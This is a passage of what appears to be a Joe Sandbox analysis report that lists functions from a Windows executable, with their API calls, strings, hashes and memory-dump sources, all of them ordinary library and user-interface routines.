Opcode ID: ddea68b655a59d48f69488a9732e8895c963106b67911a5aead4c9e20aff8cda
Instruction ID: 09be883347867ce2d1e3f153151e71d776d700a06c4e16767f33aa9d4012e21c
Opcode Fuzzy Hash: ddea68b655a59d48f69488a9732e8895c963106b67911a5aead4c9e20aff8cda
Instruction Fuzzy Hash: D741A131B00205ABDB229FA9CD45B9DFBB4BF0A768F10906CEA41BE191D7B5BD409B50

Function 00E8839A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 118
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E88348: QueryActCtxW.KERNEL32(?,00E883E7,80000010,0105A008,00000000,00000001,?,00000008,00000000,01046E88,00000268,00E882AB,?,?,00E96518,00000000), ref: 00E88393

LoadLibraryW.KERNEL32(Comctl32.dll,00000000,00000000,00000002,Comctl32.dll,00000040), ref: 00E88530

Part of subcall function 00E882F6: DeactivateActCtx.KERNEL32(?,00E88161,01003E28,0105FD94,DeactivateActCtx,00000000,?,00E96590,00000000,00000000,00E96546), ref: 00E88317
Part of subcall function 00E882F6: GetProcAddress.KERNEL32(00000000,00000000), ref: 00E88324

GetModuleFileNameW.KERNEL32(?,?,00000105,?,00E96518,00000000,01047AD0,00000010,00E95C16,?,?,?,00E958B7,00000000), ref: 00E8844A
SetLastError.KERNEL32(0000006F,?,00E96518,00000000,01047AD0,00000010,00E95C16,?,?,?,00E958B7,00000000), ref: 00E8845E
GetLastError.KERNEL32(00000020), ref: 00E884B5

Strings

Comctl32.dll, xrefs: 00E8851C, 00E88521, 00E8852F
GetModuleHandleExW, xrefs: 00E883FD

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: ErrorLast$AddressDeactivateFileLibraryLoadModuleNameProcQuery
String ID: Comctl32.dll$GetModuleHandleExW
API String ID: 1356011737-1171143627
Opcode ID: 310b5924981dbe6cec5e75c5ebdb47ea9c8546f2745e602f3d6113753833ab8d
Instruction ID: 9fc52a3c2e5637ee87a9540aacbb5b5cf38bb5f8cbbee97a525f607d61e47146
Opcode Fuzzy Hash: 310b5924981dbe6cec5e75c5ebdb47ea9c8546f2745e602f3d6113753833ab8d
Instruction Fuzzy Hash: D141C771A006159ADB71BB64DE89B9A76B8FB44718F901296E81CF61C0DF798E80CF10

Function 00E95E37 Relevance: 10.6, APIs: 7, Instructions: 102
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDesktopWindow.USER32 ref: 00E95E50
IsWindowEnabled.USER32 ref: 00E95E5B
EnableWindow.USER32(?,00000000), ref: 00E95E67

Part of subcall function 00EA579D: IsWindowEnabled.USER32(?), ref: 00EA57A8

Part of subcall function 00EA50BB: EnableWindow.USER32(?,?), ref: 00EA50CC

EnableWindow.USER32(?,00000001), ref: 00E95F4B
GetActiveWindow.USER32 ref: 00E95F55
SetActiveWindow.USER32(?,?,00000001), ref: 00E95F61
FreeResource.KERNEL32(?), ref: 00E95F8B

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: Window$Enable$ActiveEnabled$DesktopFreeResource
String ID:
API String ID: 3061593347-0
Opcode ID: 9af7ba6c12ba029647b237e6709256fb894db10ec8baaf1c6c5a2bea9b0f3b9e
Instruction ID: c4382f2a499fe7969324ee2215be03d57c6e512d0e9afc23262908991e500b52
Opcode Fuzzy Hash: 9af7ba6c12ba029647b237e6709256fb894db10ec8baaf1c6c5a2bea9b0f3b9e
Instruction Fuzzy Hash: F5319272E01715EFCF22ABA1C889BBE7BB5BF48715F041019E845B7291CB3A5D40CBA0

Function 00E9EAC0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 65threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00E9EACE
SetWindowsHookExA.USER32(00000005,00EA35EA,00000000,00000000), ref: 00E9EADE

Strings

HtmlHelpA, xrefs: 00E9EB3B
hhctrl.ocx, xrefs: 00E9EB25

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: CurrentHookThreadWindows
String ID: HtmlHelpA$hhctrl.ocx
API String ID: 1904029216-63838506
Opcode ID: 5c28df47ebf65adc996b1fdd1ff6b379d9903bed98a7415856ad9c7b47b9e987
Instruction ID: cc0d89f63888b9f1741eaa18cdb48104d8622c95bf3bf092409ac95d606534bc
Opcode Fuzzy Hash: 5c28df47ebf65adc996b1fdd1ff6b379d9903bed98a7415856ad9c7b47b9e987
Instruction Fuzzy Hash: 8011D331600705ABDF32AFA1DC05B5B7BA5FB04765F00952AFB46AA690DB72E8508B60

Function 00F5254A Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 38COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F52551

Part of subcall function 00F3D58C: EnterCriticalSection.KERNEL32(01063210,?,?,?,?,00F5258E,00000003,?,?,?,00000004,00F53D30,?,?,?,00E81263), ref: 00F3D5BD
Part of subcall function 00F3D58C: InitializeCriticalSection.KERNEL32(00000000,?,?,?,?,00F5258E,00000003,?,?,?,00000004,00F53D30,?,?,?,00E81263), ref: 00F3D5D3
Part of subcall function 00F3D58C: LeaveCriticalSection.KERNEL32(01063210,?,?,?,?,00F5258E,00000003,?,?,?,00000004,00F53D30,?,?,?,00E81263), ref: 00F3D5E1
Part of subcall function 00F3D58C: EnterCriticalSection.KERNEL32(00000000,?,?,?,00F5258E,00000003,?,?,?,00000004,00F53D30,?,?,?,00E81263), ref: 00F3D5EE

GetProfileIntA.KERNEL32(windows,DragMinDist,00000002), ref: 00F525A4
GetProfileIntA.KERNEL32(windows,DragDelay,000000C8), ref: 00F525BA

Strings

DragMinDist, xrefs: 00F52599
DragDelay, xrefs: 00F525AF
windows, xrefs: 00F5259E, 00F525A3, 00F525B4

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: CriticalSection$EnterProfile$H_prolog3InitializeLeave
String ID: DragDelay$DragMinDist$windows
API String ID: 3965097884-2101198082
Opcode ID: 89522221896944c136e7537ae236cdf8c880c84eef8955002114a3c25c345143
Instruction ID: 4e8e86148ac7d14fe87059f1fa3ad73cc8e12fc8a868967b9673f43c2250264b
Opcode Fuzzy Hash: 89522221896944c136e7537ae236cdf8c880c84eef8955002114a3c25c345143
Instruction Fuzzy Hash: 38011AB0941B149FD7F6DF24994670ABAE0BB08B00F40952EF589DB655EBBD96008F44

Function 00E86200 Relevance: 9.1, APIs: 6, Instructions: 119COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(00000000,?,00000006,?,?,?,?,?,?,00E85FE0,-00000010,?,?,?,00000000,00FF50D8), ref: 00E8622E
LoadResource.KERNEL32(00000000,00000000,?,?,?,?,00E85FE0,-00000010,?,?,?,00000000,00FF50D8,000000FF,?,00E87632), ref: 00E86241
LockResource.KERNEL32(00000000,?,?,?,?,00E85FE0,-00000010,?,?,?,00000000,00FF50D8,000000FF,?,00E87632,0103BF68), ref: 00E86250
SizeofResource.KERNEL32(00000000,?,?,?,?,?,00E85FE0,-00000010,?,?,?,00000000,00FF50D8,000000FF,?,00E87632), ref: 00E86264
WideCharToMultiByte.KERNEL32(00000003,00000000,00000002,00000000,00000000,00000000,00000000,00000000,?,?,?,?,00E85FE0,-00000010,?,?), ref: 00E862A5
WideCharToMultiByte.KERNEL32(00000003,00000000,00000002,00000000,00000000,00000000,00000000,00000000,?,?,?,?,00E85FE0,-00000010,?,?), ref: 00E862E3

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: Resource$ByteCharMultiWide$FindLoadLockSizeof
String ID:
API String ID: 1289833662-0
Opcode ID: 16166169b7cc417925592e3728253c4c3fcac7756af32cc063e4c39a7764bc01
Instruction ID: 6947ac307682ce306f2bf07dd107c8549675c6187ac792ff8733993680d2d75a
Opcode Fuzzy Hash: 16166169b7cc417925592e3728253c4c3fcac7756af32cc063e4c39a7764bc01
Instruction Fuzzy Hash: 58310476600614AFDB32AB58DC45B7AB7ACEB91714F10015AFA89EF284DA75FC008761

Function 00E8326C Relevance: 6.1, APIs: 4, Instructions: 120windowCOMMON

Download Yara Rule

APIs

AppendMenuA.USER32(?,00000800,00000000,00000000), ref: 00E832B2
AppendMenuA.USER32(?,00000000,00000010,?), ref: 00E832BF
SendMessageA.USER32(?,00000080,00000001,?), ref: 00E832F6
SendMessageA.USER32(00000000,00000080,00000000,?), ref: 00E83308

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: AppendMenuMessageSend
String ID:
API String ID: 3116418596-0
Opcode ID: 75f867be26010bdae0c289bee38be723af45e4da4e7b2c05dfbbe37a1d4ab1a8
Instruction ID: ce26adb54603f5cb8aa5f1552e738dd29328a24de84fea552442faee091f9313
Opcode Fuzzy Hash: 75f867be26010bdae0c289bee38be723af45e4da4e7b2c05dfbbe37a1d4ab1a8
Instruction Fuzzy Hash: 15418131A006089FDB25EFA4DC42BADB7B4FF04720F148169E91ABB2E1DB756A04CF55

Function 00E8691B Relevance: 6.1, APIs: 4, Instructions: 110threadCOMMON

Download Yara Rule

APIs

Part of subcall function 00E86E0E: MultiByteToWideChar.KERNEL32(00000003,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00E86931,00000000,000000FF,?), ref: 00E86E2D
Part of subcall function 00E86E0E: SysAllocStringLen.OLEAUT32(00000000,00000000), ref: 00E86E42
Part of subcall function 00E86E0E: MultiByteToWideChar.KERNEL32(00000003,00000000,00000000,00000000,00000000,00000002,?,?,?,?,00E86931,00000000,000000FF,?,?,00E87BA3), ref: 00E86E59
Part of subcall function 00E86E0E: SysFreeString.OLEAUT32(00000000), ref: 00E86E65

__EH_prolog3_GS.LIBCMT ref: 00E8695A
GetCurrentThread.KERNEL32 ref: 00E869BA
GetCurrentThreadId.KERNEL32 ref: 00E869C3
GetVersionExA.KERNEL32(?,?,?,?,?,?,?,00E87BA3,?,?,?,?,?,80070057,00000000), ref: 00E86A5F

Part of subcall function 00E990DA: __CxxThrowException@8.LIBVCRUNTIME ref: 00E990EE

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: ByteCharCurrentMultiStringThreadWide$AllocException@8FreeH_prolog3_ThrowVersion
String ID:
API String ID: 1519344046-0
Opcode ID: 88ba0989edb831e106139cedf91ff0a84f632c96d4d6d6b7cb1087efc5eadc30
Instruction ID: 40ad51246bb2a425909b490e80e798ac81eafc8674e45ccded539c4279050635
Opcode Fuzzy Hash: 88ba0989edb831e106139cedf91ff0a84f632c96d4d6d6b7cb1087efc5eadc30
Instruction Fuzzy Hash: 574113B0900B04CFD721AF6AC981796FBF4BF49314F509A6ED1AEA7651CB70A840CF41

Function 00E86020 Relevance: 6.1, APIs: 4, Instructions: 64COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(?,49000000,00000006,?,?,?,80004005,8C3A2C7B,?,?,?,00000000,00FF50D8,000000FF,?,00E87632), ref: 00E86038
LoadResource.KERNEL32(?,00000000,?,?,?,?,80004005,8C3A2C7B,?,?,?,00000000,00FF50D8,000000FF,?,00E87632), ref: 00E8604C

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: Resource$FindLoad
String ID:
API String ID: 2619053042-0
Opcode ID: 08bdae5c4e858f7065a96970d0b3d6369988dbdd320877a2bd88af8f8d27b3e8
Instruction ID: 3713116b3b8d3f8ff1f16a9ec58698c071cb5e12a7a6e575c932f0f06d50753e
Opcode Fuzzy Hash: 08bdae5c4e858f7065a96970d0b3d6369988dbdd320877a2bd88af8f8d27b3e8
Instruction Fuzzy Hash: 3A01D637F106256BCB322BA9AC4447AB35CEB8436E7015526FD4DFB201D936EC0047A4

Function 00E95972 Relevance: 6.1, APIs: 4, Instructions: 61COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(?,00000000,00000005), ref: 00E959A4
LoadResource.KERNEL32(?,00000000), ref: 00E959AC
LockResource.KERNEL32(?), ref: 00E959BA
FreeResource.KERNEL32(?), ref: 00E95A13

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: Resource$FindFreeLoadLock
String ID:
API String ID: 1078018258-0
Opcode ID: eef66ebce29d2f3adcf105d730727c786d0d988eb2d73f2b44a5ed819f99bfcc
Instruction ID: 9d96ca659aa26acf0118a1d014dd0f8e32163f1fa41c90250d9751b93a1a438a
Opcode Fuzzy Hash: eef66ebce29d2f3adcf105d730727c786d0d988eb2d73f2b44a5ed819f99bfcc
Instruction Fuzzy Hash: 7D110671900A21EBDF228F95C448BA6B3B4FF45324F14D164E840AB244EB749D40D7A0

Function 00E973FE Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

VerSetConditionMask.KERNEL32(00000000,00000000,00000002,00000003,00000001,00000003), ref: 00E9745B
VerSetConditionMask.KERNEL32(00000000), ref: 00E97463
VerifyVersionInfoA.KERNEL32(0000009C,00000003,00000000), ref: 00E97474
KiUserCallbackDispatcher.NTDLL(00001000), ref: 00E97485

Part of subcall function 00E97EA2: __EH_prolog3.LIBCMT ref: 00E97EA9
Part of subcall function 00E97EA2: GetSysColor.USER32(00000016), ref: 00E97EB2
Part of subcall function 00E97EA2: GetSysColor.USER32(0000000F), ref: 00E97EC5
Part of subcall function 00E97EA2: GetSysColor.USER32(00000015), ref: 00E97EDC
Part of subcall function 00E97EA2: GetSysColor.USER32(0000000F), ref: 00E97EE8
Part of subcall function 00E97EA2: GetDeviceCaps.GDI32(?,0000000C), ref: 00E97F10
Part of subcall function 00E97EA2: GetSysColor.USER32(0000000F), ref: 00E97F1E
Part of subcall function 00E97EA2: GetSysColor.USER32(00000010), ref: 00E97F2C
Part of subcall function 00E97EA2: GetSysColor.USER32(00000015), ref: 00E97F3A
Part of subcall function 00E97EA2: GetSysColor.USER32(00000016), ref: 00E97F48
Part of subcall function 00E97EA2: GetSysColor.USER32(00000014), ref: 00E97F56
Part of subcall function 00E97EA2: GetSysColor.USER32(00000012), ref: 00E97F64
Part of subcall function 00E97EA2: GetSysColor.USER32(00000011), ref: 00E97F72
Part of subcall function 00E97EA2: GetSysColor.USER32(00000006), ref: 00E97F7D
Part of subcall function 00E97EA2: GetSysColor.USER32(0000000D), ref: 00E97F88
Part of subcall function 00E97EA2: GetSysColor.USER32(0000000E), ref: 00E97F93
Part of subcall function 00E97EA2: GetSysColor.USER32(00000005), ref: 00E97F9E
Part of subcall function 00E97EA2: GetSysColor.USER32(00000008), ref: 00E97FAC
Part of subcall function 00E97EA2: GetSysColor.USER32(00000009), ref: 00E97FB7
Part of subcall function 00E97EA2: GetSysColor.USER32(00000007), ref: 00E97FC2
Part of subcall function 00E97EA2: GetSysColor.USER32(00000002), ref: 00E97FCD
Part of subcall function 00E97EA2: GetSysColor.USER32(00000003), ref: 00E97FD8
Part of subcall function 00E97EA2: GetSysColor.USER32(0000001B), ref: 00E97FE6
Part of subcall function 00E97EA2: GetSysColor.USER32(0000001C), ref: 00E97FF4
Part of subcall function 00E97EA2: GetSysColor.USER32(0000000A), ref: 00E98002

Part of subcall function 00E97968: __EH_prolog3_GS.LIBCMT ref: 00E97972
Part of subcall function 00E97968: GetDeviceCaps.GDI32(?,00000058), ref: 00E97992
Part of subcall function 00E97968: DeleteObject.GDI32(00000000), ref: 00E979FC
Part of subcall function 00E97968: DeleteObject.GDI32(00000000), ref: 00E97A1A
Part of subcall function 00E97968: DeleteObject.GDI32(00000000), ref: 00E97A38
Part of subcall function 00E97968: DeleteObject.GDI32(00000000), ref: 00E97A56
Part of subcall function 00E97968: DeleteObject.GDI32(00000000), ref: 00E97A74
Part of subcall function 00E97968: DeleteObject.GDI32(00000000), ref: 00E97A92
Part of subcall function 00E97968: DeleteObject.GDI32(00000000), ref: 00E97AB0

Part of subcall function 00E97565: GetSystemMetrics.USER32(00000031), ref: 00E97573
Part of subcall function 00E97565: GetSystemMetrics.USER32(00000032), ref: 00E97581
Part of subcall function 00E97565: SetRectEmpty.USER32(?), ref: 00E97594
Part of subcall function 00E97565: EnumDisplayMonitors.USER32(00000000,00000000,00E9737B,?,?,00000000,00E974A6), ref: 00E975A4
Part of subcall function 00E97565: SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 00E975B3
Part of subcall function 00E97565: SystemParametersInfoA.USER32(00001002,00000000,?,00000000), ref: 00E975E0
Part of subcall function 00E97565: SystemParametersInfoA.USER32(00001012,00000000,?,00000000), ref: 00E975F4
Part of subcall function 00E97565: SystemParametersInfoA.USER32 ref: 00E9761A

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: Color$DeleteObject$System$Info$Parameters$CapsConditionDeviceMaskMetrics$CallbackDispatcherDisplayEmptyEnumH_prolog3H_prolog3_MonitorsRectUserVerifyVersion
String ID:
API String ID: 3326357938-0
Opcode ID: 6bf92c3400a64adea690e6122165fa969ec06da9e7af9065833f885f3089e0bf
Instruction ID: 9e01b1ceab491b0d7cfa90e3dcf89a9ea7163f314b227cdc3dad8a9ec7663880
Opcode Fuzzy Hash: 6bf92c3400a64adea690e6122165fa969ec06da9e7af9065833f885f3089e0bf
Instruction Fuzzy Hash: EA1173B0A10318AFDB21AF719D5AFABB7FCEB85704F40445DB186A6281DBB84A048B51

Function 00E86E0E Relevance: 6.1, APIs: 4, Instructions: 51memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000003,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00E86931,00000000,000000FF,?), ref: 00E86E2D
SysAllocStringLen.OLEAUT32(00000000,00000000), ref: 00E86E42
MultiByteToWideChar.KERNEL32(00000003,00000000,00000000,00000000,00000000,00000002,?,?,?,?,00E86931,00000000,000000FF,?,?,00E87BA3), ref: 00E86E59
SysFreeString.OLEAUT32(00000000), ref: 00E86E65

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: ByteCharMultiStringWide$AllocFree
String ID:
API String ID: 447844807-0
Opcode ID: 927f3ca47e92f342941f159ec9e084cebe87e1246f821d90b79d817abfac8f7c
Instruction ID: 7c7d935410f94c55b7ba23cb19da6226d87842207a621ad32c07e591b7788ca0
Opcode Fuzzy Hash: 927f3ca47e92f342941f159ec9e084cebe87e1246f821d90b79d817abfac8f7c
Instruction Fuzzy Hash: 4E014F3A201214BFDB226FA5DC88E9B7E7DFB45BA4F114118F50DAA184DA719E00D7A0

Function 00EA6A47 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 00F3D600: LeaveCriticalSection.KERNEL32(?,?,?,?,?,00F5258E,00000003,?,?,?,00000004,00F53D30,?,?,?,00E81263), ref: 00F3D614

__CxxThrowException@8.LIBVCRUNTIME ref: 00EA6A52

Part of subcall function 00FCED47: RaiseException.KERNEL32(?,?,?,?), ref: 00FCEDA7

__EH_prolog3.LIBCMT ref: 00EA6A5F

Part of subcall function 00EA6578: TlsAlloc.KERNEL32(?,00000000,?,?,00EA64C3,00E81D2C,?,00ED9CDE,0105A4C4,00000000,?,?,00000000), ref: 00EA6597
Part of subcall function 00EA6578: InitializeCriticalSection.KERNEL32(?,?,00EA64C3,00E81D2C,?,00ED9CDE,0105A4C4,00000000,?,?,00000000), ref: 00EA65A8

Strings

Pe, xrefs: 00EA6AAB

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
